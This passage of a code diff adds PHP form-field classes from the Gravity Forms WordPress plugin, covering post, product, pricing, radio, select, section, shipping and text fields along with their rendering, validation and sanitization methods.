$value[ $this->id . '.1' ] = $this->get_input_value_submission( 'input_' . $this->id . '_1', $get_from_post_global_var );
$value[ $this->id . '.4' ] = $this->get_input_value_submission( 'input_' . $this->id . '_4', $get_from_post_global_var );
$value[ $this->id . '.7' ] = $this->get_input_value_submission( 'input_' . $this->id . '_7', $get_from_post_global_var );
return $value;
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
list( $url, $title, $caption, $description ) = array_pad( explode( '|:|', $value ), 4, false );
switch ( $modifier ) {
case 'title' :
return $title;
case 'caption' :
return $caption;
case 'description' :
return $description;
default :
return str_replace( ' ', '%20', $url );
}
}
}
GF_Fields::register( new GF_Field_Post_Image() );

View File

@@ -0,0 +1,70 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Tags extends GF_Field {
public $type = 'post_tags';
public function get_form_editor_field_title() {
return esc_attr__( 'Tags', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'post_tag_type_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'default_value_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
'placeholder_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return "<div class='ginput_container ginput_container_post_tags'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</div>";
}
public function allow_html() {
return true;
}
}
GF_Fields::register( new GF_Field_Post_Tags() );

View File

@@ -0,0 +1,94 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Title extends GF_Field {
public $type = 'post_title';
public function get_form_editor_field_title() {
return esc_attr__( 'Title', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'post_title_template_setting',
'post_status_setting',
'post_category_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
'post_author_setting',
'post_format_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return "<div class='ginput_container ginput_container_post_title'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</div>";
}
public function allow_html() {
return true;
}
/**
* Sanitizes the field value before saving to the entry.
*
* @since 2.2.6.4 Switched to wp_strip_all_tags.
* @see https://developer.wordpress.org/reference/functions/wp_insert_post/#security
*
* @param string $value The field value to be processed.
* @param int $form_id The ID of the form currently being processed.
*
* @return string
*/
public function sanitize_entry_value( $value, $form_id ) {
return wp_strip_all_tags( $value );
}
}
GF_Fields::register( new GF_Field_Post_Title() );

View File

@@ -0,0 +1,75 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Price extends GF_Field {
public $type = 'price';
function get_form_editor_field_settings() {
return array(
'rules_setting',
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'placeholder_setting',
'size_setting',
'duplicate_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function validate( $value, $form ) {
$price = GFCommon::to_number( $value );
if ( ! rgblank( $value ) && ( $price === false || $price < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? __( 'Please enter a valid amount.', 'gravityforms' ) : $this->errorMessage;
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$tabindex = $this->get_tabindex();
return "<div class='ginput_container ginput_container_product_price'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class} ginput_amount' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</div>";
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::to_money( $value, $currency );
}
}
GF_Fields::register( new GF_Field_Price() );

View File

@@ -0,0 +1,33 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Product extends GF_Field {
public $type = 'product';
public function get_form_editor_field_title() {
return esc_attr__( 'Product', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'product_field_type_setting',
'prepopulate_field_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'description_setting',
'css_class_setting',
);
}
public function get_field_input( $form, $value = '', $entry = null ) {
return '';
}
}
GF_Fields::register( new GF_Field_Product() );

View File

@@ -0,0 +1,34 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Quantity extends GF_Field {
public $type = 'quantity';
function get_form_editor_field_settings() {
return array(
'product_field_setting',
'quantity_field_type_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function get_form_editor_field_title() {
return esc_attr__( 'Quantity', 'gravityforms' );
}
}
GF_Fields::register( new GF_Field_Quantity() );

View File

@@ -0,0 +1,299 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Radio extends GF_Field {
public $type = 'radio';
public function get_form_editor_field_title() {
return esc_attr__( 'Radio Buttons', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'choices_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
'other_choice_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function validate( $value, $form ) {
if ( $this->isRequired && $this->enableOtherChoice && rgpost( "input_{$this->id}" ) == 'gf_other_choice' ) {
if ( empty( $value ) || strtolower( $value ) == strtolower( GFCommon::get_other_choice_value( $this ) ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
}
}
}
public function get_first_input_id( $form ) {
return '';
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
return sprintf( "<div class='ginput_container ginput_container_radio'><ul class='gfield_radio' id='%s'>%s</ul></div>", $field_id, $this->get_radio_choices( $value, $disabled_text, $form_id ) );
}
public function get_radio_choices( $value = '', $disabled_text, $form_id = 0 ) {
$choices = '';
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
if ( is_array( $this->choices ) ) {
$choice_id = 0;
$other_default_value = '';
// add 'other' choice to choices if enabled
if ( $this->enableOtherChoice ) {
$other_default_value = GFCommon::get_other_choice_value( $this );
$this->choices[] = array( 'text' => $other_default_value, 'value' => 'gf_other_choice', 'isSelected' => false, 'isOtherChoice' => true );
}
$logic_event = $this->get_conditional_logic_event( 'click' );
$count = 1;
foreach ( $this->choices as $choice ) {
if ( $is_entry_detail || $is_form_editor || $form_id == 0 ) {
$id = $this->id . '_' . $choice_id ++;
} else {
$id = $form_id . '_' . $this->id . '_' . $choice_id ++;
}
$field_value = ! empty( $choice['value'] ) || $this->enableChoiceValue ? $choice['value'] : $choice['text'];
if ( $this->enablePrice ) {
$price = rgempty( 'price', $choice ) ? 0 : GFCommon::to_number( rgar( $choice, 'price' ) );
$field_value .= '|' . $price;
}
if ( rgblank( $value ) && rgget('view') != 'entry' ) {
$checked = rgar( $choice, 'isSelected' ) ? "checked='checked'" : '';
} else {
$checked = RGFormsModel::choice_value_match( $this, $choice, $value ) ? "checked='checked'" : '';
}
$tabindex = $this->get_tabindex();
$label = sprintf( "<label for='choice_%s' id='label_%s'>%s</label>", $id, $id, $choice['text'] );
$input_focus = '';
// handle 'other' choice
if ( rgar( $choice, 'isOtherChoice' ) ) {
$onfocus = ! $is_admin ? 'jQuery(this).prev("input")[0].click(); if(jQuery(this).val() == "' . $other_default_value . '") { jQuery(this).val(""); }' : '';
$onblur = ! $is_admin ? 'if(jQuery(this).val().replace(" ", "") == "") { jQuery(this).val("' . $other_default_value . '"); }' : '';
$onkeyup = $this->get_conditional_logic_event( 'keyup' );
$input_focus = ! $is_admin ? "onfocus=\"jQuery(this).next('input').focus();\"" : '';
$value_exists = RGFormsModel::choices_value_match( $this, $this->choices, $value );
if ( $value == 'gf_other_choice' && rgpost( "input_{$this->id}_other" ) ) {
$other_value = rgpost( "input_{$this->id}_other" );
} elseif ( ! $value_exists && ! empty( $value ) ) {
$other_value = $value;
$value = 'gf_other_choice';
$checked = "checked='checked'";
} else {
$other_value = $other_default_value;
}
$label = "<input id='input_{$this->formId}_{$this->id}_other' name='input_{$this->id}_other' type='text' value='" . esc_attr( $other_value ) . "' aria-label='" . esc_attr__( 'Other', 'gravityforms' ) . "' onfocus='$onfocus' onblur='$onblur' $tabindex $onkeyup $disabled_text />";
}
$choice_markup = sprintf( "<li class='gchoice_$id'><input name='input_%d' type='radio' value='%s' %s id='choice_%s' $tabindex %s $logic_event %s />%s</li>", $this->id, esc_attr( $field_value ), $checked, $id, $disabled_text, $input_focus, $label );
$choices .= gf_apply_filters( array(
'gform_field_choice_markup_pre_render',
$this->formId,
$this->id
), $choice_markup, $choice, $this, $value );
if ( $is_form_editor && $count >= 5 ) {
break;
}
$count ++;
}
$total = sizeof( $this->choices );
if ( $count < $total ) {
$choices .= "<li class='gchoice_total'>" . sprintf( esc_html__( '%d of %d items shown. Edit field to view all', 'gravityforms' ), $count, $total ) . '</li>';
}
}
return gf_apply_filters( array( 'gform_field_choices', $this->formId ), $choices, $this );
}
public function get_value_default() {
return $this->is_form_editor() ? $this->defaultValue : GFCommon::replace_variables_prepopulate( $this->defaultValue );
}
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
if ( $value == 'gf_other_choice' ) {
//get value from text box
$value = $this->get_input_value_submission( 'input_' . $this->id . '_other', $this->inputName, $field_values, $get_from_post_global_var );
}
return $value;
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
return GFCommon::selection_display( $value, $this, $entry['currency'] );
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::selection_display( $value, $this, $currency, $use_text );
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::to_money()
* @uses GFCommon::format_post_category()
* @uses GFFormsModel::is_field_hidden()
* @uses GFFormsModel::get_choice_text()
* @uses GFCommon::format_variable_value()
* @uses GFCommon::implode_non_blank()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$use_value = $modifier == 'value';
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
$format_currency = $modifier == 'currency';
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
$items = array( $input_id => $value ); // Float input Ids. (i.e. 4.1 ). Used when targeting specific checkbox items.
} elseif ( is_array( $raw_value ) ) {
$items = $raw_value;
} else {
$items = array( $input_id => $raw_value );
}
$ary = array();
foreach ( $items as $input_id => $item ) {
if ( $use_value ) {
list( $val, $price ) = rgexplode( '|', $item, 2 );
} elseif ( $use_price ) {
list( $name, $val ) = rgexplode( '|', $item, 2 );
if ( $format_currency ) {
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
}
} elseif ( $this->type == 'post_category' ) {
$use_id = strtolower( $modifier ) == 'id';
$item_value = GFCommon::format_post_category( $item, $use_id );
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
} else {
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
}
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
}
return GFCommon::implode_non_blank( ', ', $ary );
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( $this->enableOtherChoice && $value == 'gf_other_choice' ) {
$value = rgpost( "input_{$this->id}_other" );
}
$value = $this->sanitize_entry_value( $value, $form['id'] );
return $value;
}
public function allow_html() {
return true;
}
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$value = rgar( $entry, $input_id );
return $is_csv ? $value : GFCommon::selection_display( $value, $this, rgar( $entry, 'currency' ), $use_text );
}
/**
* Strip scripts and some HTML tags.
*
* @param string $value The field value to be processed.
* @param int $form_id The ID of the form currently being processed.
*
* @return string
*/
public function sanitize_entry_value( $value, $form_id ) {
if ( is_array( $value ) ) {
return '';
}
$allowable_tags = $this->get_allowable_tags( $form_id );
if ( $allowable_tags !== true ) {
$value = strip_tags( $value, $allowable_tags );
}
$allowed_protocols = wp_allowed_protocols();
$value = wp_kses_no_null( $value, array( 'slash_zero' => 'keep' ) );
$value = wp_kses_hook( $value, 'post', $allowed_protocols );
$value = wp_kses_split( $value, 'post', $allowed_protocols );
return $value;
}
}
GF_Fields::register( new GF_Field_Radio() );

View File

@@ -0,0 +1,39 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Section extends GF_Field {
public $type = 'section';
public function get_form_editor_field_title() {
return esc_attr__( 'Section', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'label_setting',
'description_setting',
'visibility_setting',
'css_class_setting',
);
}
public function get_field_content( $value, $force_frontend_label, $form ) {
$field_label = $this->get_field_label( $force_frontend_label, $value );
$admin_buttons = $this->get_admin_buttons();
$description = $this->get_description( $this->description, 'gsection_description' );
$field_content = sprintf( "%s<h2 class='gsection_title'>%s</h2>%s", $admin_buttons, esc_html( $field_label ), $description );
return $field_content;
}
}
GF_Fields::register( new GF_Field_Section() );

View File

@@ -0,0 +1,167 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Select extends GF_Field {
public $type = 'select';
public function get_form_editor_field_title() {
return esc_attr__( 'Drop Down', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'choices_setting',
'rules_setting',
'placeholder_setting',
'default_value_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$logic_event = $this->get_conditional_logic_event( 'change' );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$css_class = trim( esc_attr( $class ) . ' gfield_select' );
$tabindex = $this->get_tabindex();
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return sprintf( "<div class='ginput_container ginput_container_select'><select name='input_%d' id='%s' $logic_event class='%s' $tabindex %s %s %s>%s</select></div>", $id, $field_id, $css_class, $disabled_text, $required_attribute, $invalid_attribute, $this->get_choices( $value ) );
}
public function get_choices( $value ) {
return GFCommon::get_select_choices( $this, $value );
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
$return = esc_html( $value );
return GFCommon::selection_display( $return, $this, $entry['currency'] );
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @uses GFCommon::to_money()
* @uses GFCommon::format_post_category()
* @uses GFFormsModel::is_field_hidden()
* @uses GFFormsModel::get_choice_text()
* @uses GFCommon::format_variable_value()
* @uses GFCommon::implode_non_blank()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$use_value = $modifier == 'value';
$use_price = in_array( $modifier, array( 'price', 'currency' ) );
$format_currency = $modifier == 'currency';
if ( is_array( $raw_value ) && (string) intval( $input_id ) != $input_id ) {
$items = array( $input_id => $value ); // Float input Ids. (i.e. 4.1 ). Used when targeting specific checkbox items.
} elseif ( is_array( $raw_value ) ) {
$items = $raw_value;
} else {
$items = array( $input_id => $raw_value );
}
$ary = array();
foreach ( $items as $input_id => $item ) {
if ( $use_value ) {
list( $val, $price ) = rgexplode( '|', $item, 2 );
} elseif ( $use_price ) {
list( $name, $val ) = rgexplode( '|', $item, 2 );
if ( $format_currency ) {
$val = GFCommon::to_money( $val, rgar( $entry, 'currency' ) );
}
} elseif ( $this->type == 'post_category' ) {
$use_id = strtolower( $modifier ) == 'id';
$item_value = GFCommon::format_post_category( $item, $use_id );
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : $item_value;
} else {
$val = RGFormsModel::is_field_hidden( $form, $this, array(), $entry ) ? '' : RGFormsModel::get_choice_text( $this, $raw_value, $input_id );
}
$ary[] = GFCommon::format_variable_value( $val, $url_encode, $esc_html, $format );
}
return GFCommon::implode_non_blank( ', ', $ary );
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$return = esc_html( $value );
return GFCommon::selection_display( $return, $this, $currency, $use_text );
}
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$value = rgar( $entry, $input_id );
return $is_csv ? $value : GFCommon::selection_display( $value, $this, rgar( $entry, 'currency' ), $use_text );
}
/**
* Strips all tags from the input value.
*
* @param string $value The field value to be processed.
* @param int $form_id The ID of the form currently being processed.
*
* @return string
*/
public function sanitize_entry_value( $value, $form_id ) {
$value = wp_strip_all_tags( $value );
return $value;
}
}
GF_Fields::register( new GF_Field_Select() );

View File

@@ -0,0 +1,31 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Shipping extends GF_Field {
public $type = 'shipping';
function get_form_editor_field_settings() {
return array(
'shipping_field_type_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'description_setting',
'css_class_setting',
);
}
public function get_form_editor_field_title() {
return esc_attr__( 'Shipping', 'gravityforms' );
}
}
GF_Fields::register( new GF_Field_Shipping() );

View File

@@ -0,0 +1,122 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_SingleProduct extends GF_Field {
public $type = 'singleproduct';
function get_form_editor_field_settings() {
return array(
'base_price_setting',
'disable_quantity_setting',
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'rules_setting',
'duplicate_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function validate( $value, $form ) {
$quantity_id = $this->id . '.3';
$quantity = rgget( $quantity_id, $value );
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
$this->failed_validation = true;
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
if ( empty( $price ) ) {
$price = 0;
}
$has_quantity = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
if ( $has_quantity ) {
$this->disableQuantity = true;
}
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
$quantity_field = '';
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$qty_input_type = GFFormsModel::is_html5_enabled() ? 'number' : 'text';
$qty_min_attr = GFFormsModel::is_html5_enabled() ? "min='0'" : '';
$product_quantity_sub_label = gf_apply_filters( array( 'gform_product_quantity', $form_id, $this->id ), esc_html__( 'Quantity:', 'gravityforms' ), $form_id );
if ( $is_entry_detail || $is_form_editor ) {
$style = $this->disableQuantity ? "style='display:none;'" : '';
$quantity_field = " <span class='ginput_quantity_label' {$style}>{$product_quantity_sub_label}</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$disabled_text} {$style} />";
} else if ( ! $this->disableQuantity ) {
$tabindex = $this->get_tabindex();
$quantity_field .= " <span class='ginput_quantity_label'>" . $product_quantity_sub_label . "</span> <input type='{$qty_input_type}' name='input_{$id}.3' value='{$quantity}' id='ginput_quantity_{$form_id}_{$this->id}' class='ginput_quantity' size='10' {$qty_min_attr} {$tabindex} {$disabled_text}/>";
} else {
if ( ! is_numeric( $quantity ) ) {
$quantity = 1;
}
if ( ! $has_quantity ) {
$quantity_field .= "<input type='hidden' name='input_{$id}.3' value='{$quantity}' class='ginput_quantity_{$form_id}_{$this->id} gform_hidden' />";
}
}
return "<div class='ginput_container ginput_container_singleproduct'>
<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />
<span class='ginput_product_price_label'>" . gf_apply_filters( array( 'gform_product_price', $form_id, $this->id ), esc_html__( 'Price', 'gravityforms' ), $form_id ) . ":</span> <span class='ginput_product_price' id='{$field_id}'>" . esc_html( GFCommon::to_money( $price, $currency ) ) . "</span>
<input type='hidden' name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' class='gform_hidden' value='" . esc_attr( $price ) . "'/>
{$quantity_field}
</div>";
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( is_array( $value ) && ! empty( $value ) ) {
$product_name = trim( $value[ $this->id . '.1' ] );
$price = trim( $value[ $this->id . '.2' ] );
$quantity = trim( $value[ $this->id . '.3' ] );
$product_details = $product_name;
if ( ! rgblank( $quantity ) ) {
$product_details .= ', ' . esc_html__( 'Qty: ', 'gravityforms' ) . $quantity;
}
if ( ! rgblank( $price ) ) {
$product_details .= ', ' . esc_html__( 'Price: ', 'gravityforms' ) . GFCommon::format_number( $price, 'currency', $currency );
}
return $product_details;
} else {
return '';
}
}
}
GF_Fields::register( new GF_Field_SingleProduct() );

View File

@@ -0,0 +1,56 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_SingleShipping extends GF_Field {
public $type = 'singleshipping';
function get_form_editor_field_settings() {
return array(
'base_price_setting',
);
}
public function get_form_editor_button() {
return array();
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : '';
$price = ! empty( $value ) ? $value : $this->basePrice;
if ( empty( $price ) ) {
$price = 0;
}
$price = esc_attr( $price );
return "<div class='ginput_container ginput_container_singleshipping'>
<input type='hidden' name='input_{$id}' value='{$price}' class='gform_hidden'/>
<span class='ginput_shipping_price' id='{$field_id}'>" . GFCommon::to_money( $price, $currency ) . '</span>
</div>';
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
return GFCommon::to_money( $value, $currency );
}
public function sanitize_settings() {
parent::sanitize_settings();
$price_number = GFCommon::to_number( $this->basePrice );
$this->basePrice = GFCommon::to_money( $price_number );
}
}
GF_Fields::register( new GF_Field_SingleShipping() );

View File

@@ -0,0 +1,198 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Text extends GF_Field {
public $type = 'text';
public function get_form_editor_field_title() {
return esc_attr__( 'Single Line Text', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'input_mask_setting',
'maxlen_setting',
'password_field_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$html_input_type = 'text';
if ( $this->enablePasswordInput && ! $is_entry_detail ) {
$html_input_type = 'password';
}
$logic_event = ! $is_form_editor && ! $is_entry_detail ? $this->get_conditional_logic_event( 'keyup' ) : '';
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$max_length = is_numeric( $this->maxLength ) ? "maxlength='{$this->maxLength}'" : '';
$tabindex = $this->get_tabindex();
